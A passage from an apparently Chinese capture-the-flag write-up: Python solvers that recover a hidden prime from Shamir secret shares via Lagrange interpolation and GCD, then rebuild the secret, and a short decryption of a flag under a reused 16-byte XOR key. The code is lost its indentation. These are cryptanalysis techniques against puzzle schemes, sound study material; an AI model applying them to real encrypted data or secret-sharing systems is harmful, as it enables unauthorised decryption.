(14989248861487876756545923532577464423717630626792629221618966203158382671849012765703938440292173459828333463382287156647477649833759229415415422006446622, 1656433892597578744823177014342869528132831200379451998967521640131825487494819099422022469838825418150730143438520616267294835254347450196350209174872775),
(19193170771688324398963345493388616208257949680877900104979298799760166459827906171423469189582755008620842357080263827095038929588780308148621589260541422, 11420248910634302383712371357580971808319584342845033562709305079257609558334879243688210930475525301635690020652329269939235513202907874912193579010147639),
(18777091659417137576603135959549361738394745875776533930983699353415679891339311594674388484175296875080132898946694787449577170540182756514019328107408039, 9704588552249224055741700389530593621449542838333557625043239604844884216427066269916242710825967541084869521646880935759182920024727659925664328119325004),
(14287513785577058854224398359692453526128916947865468956393138998889401907577994975977127911557142483281724809006107854288358113197720626510491043303548938, 9770438332979961381243902918934813992264072842817997713173849346168822219848231350591767294014602573834792519783840064045899272301954841421098105680418195),
(15119386315728257486056813314318552552131776852359374571135536516700837163067296684378970563219592314591010021093834609706121742207654051417055052071557349, 16692084219568517724580051441903204713362782163474624605007356230785148566081431738623045160758806438045544385291581669748734947320653414449300238328109834),
(21639299360306429790518264840030705977452919783601050938080982219887611170051387045460766025557892361751023229841353839566899377685975938928635556686547189, 12343877060822660195641885868676444926185745514478427502000391547786522673431926278446194312565987755982555714259193644278522945366156482829701926440766436),
(17403781572025005208843063451017304109237698250797299652792725200086960681154790951373046337507380799261125197889969541906772099793896620488753295096504560, 19150670008423170996379784798328231445600406963296913739761096531018281916219407400122538102243817197525100016408303024079773707274831692716031708315774805),
(13712268494862445248911494067355982992182490419234876397649838374491191895372155289722641937870164145755937780023138602530807219076237280105050726711219910, 1791011308314909339397751948386556426199638075952445414959762706679206743326931052440210268620207102528545976021104436487643745311936337923164621066436060),
(21991384930267151269802069003579123930799446461196461214557072106672776944086736799413877206434356469442093165424509519266137102480781842658606739163403874, 14963223947878308999984311524851337448763815509922889823520921933718980739751743032849959416282177018557805255468910634606302831448277324417065732420585144),
(20641737678873745759238644473878987874377780512320373213801366359879139450580105650792376384552918292291784843752265971609206700166575172878621369499660576, 21115775840010891534972527491920868611647594882864057129786366769672854596717667891296204137876321305451520048412806215332780594549883808548319082816815511)
]

# -------- Recover p --------

base = shares[:5]
vals = []

for x0, y0 in shares[5:]:

res = Fraction(0, 1)

for i in range(5):
xi, yi = base[i]

L = Fraction(1, 1)

for j in range(5):
if i == j:
continue

xj, _ = base[j]
L *= Fraction(x0 - xj, xi - xj)

res += yi * L

diff = res - y0

if diff.numerator != 0:
vals.append(abs(diff.numerator))

g = reduce(gcd, vals)

print("[+] gcd =", g)
print("[+] bitlen =", g.bit_length())
print("[+] isprime =", isprime(g))

if not isprime(g):
print("[+] factorization:")
print(factorint(g))

p = g

# -------- Recover secret --------

secret = 0

for i in range(5):

xi, yi = shares[i]

num = 1
den = 1

for j in range(5):
if i == j:
continue

xj, _ = shares[j]

num = (num * (-xj)) % p
den = (den * (xi - xj)) % p

li = num * pow(den, -1, p)

secret = (secret + yi * li) % p

print("[+] secret =", secret)

try:
print("[+] flag =", long_to_bytes(secret))
except:
pass

XOR流密码密钥重用

因为密钥长度 ≤ 16,且给出了一个长度 380 字节的英文明文对应密文,所以可以先恢复密钥,再解出 flag。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
c1 = bytes.fromhex("04c4257bf7daca53b15470dc4041d4e636c3387becdace40a9547dd84a449ab238c96037e7d5da10be1b75800f62d2af238c303ae8c8d151b75471c14142dbaf3edf603ef0cad149fa1877da5b53c8e63fca602feeca8375b4137ec75c5e9aa73cdc283ae4cad710bb0032c24a57c9b270c32e38e3818379ae547bdd0f55d5ab3dc32e37ff8fd643bf1032c840449ab235df3432e8c88344a30477d95d5fcea322df603ae8cb8353b51962db5b53c8e63bc93939e9ced154a95832cf41529aa03fde603fefdcd35cbb0d7bc04816dfbe31c13037e3dc835fbc5474c14142c9e870f8283ea6cac242b61d77dd5b16d1a83fdb2e7be7dfd355bb0673c04c539aa9368c3433efdc8340b20673dd4a16d3b570ca3234eb8fd758bf547ecf5b539aa839c2252fe3cacd44b25471cb4142cfb429826016e7c1da10aa117dde43539aae31da257bf3dcc654fa007ac75c16c9a33ed82535e5ca8344b55462dc4e55ceaf33c9602feecaca42fa1c73c04b41c8af24c52e3ca6dcc859b6186180")

c2 = bytes.fromhex(
"36c0213cfdd79342850621db5c53e5ab64c72528d9dcd742e9157ff14c07caae63de1f6ae8dcc653af0677d3"
)

key = bytes.fromhex(
"50ac405b86afa330da7412ae2f36bac6"
)

flag = bytes(c2[i] ^ key[i % len(key)] for i in range(len(c2)))

print(flag.decode())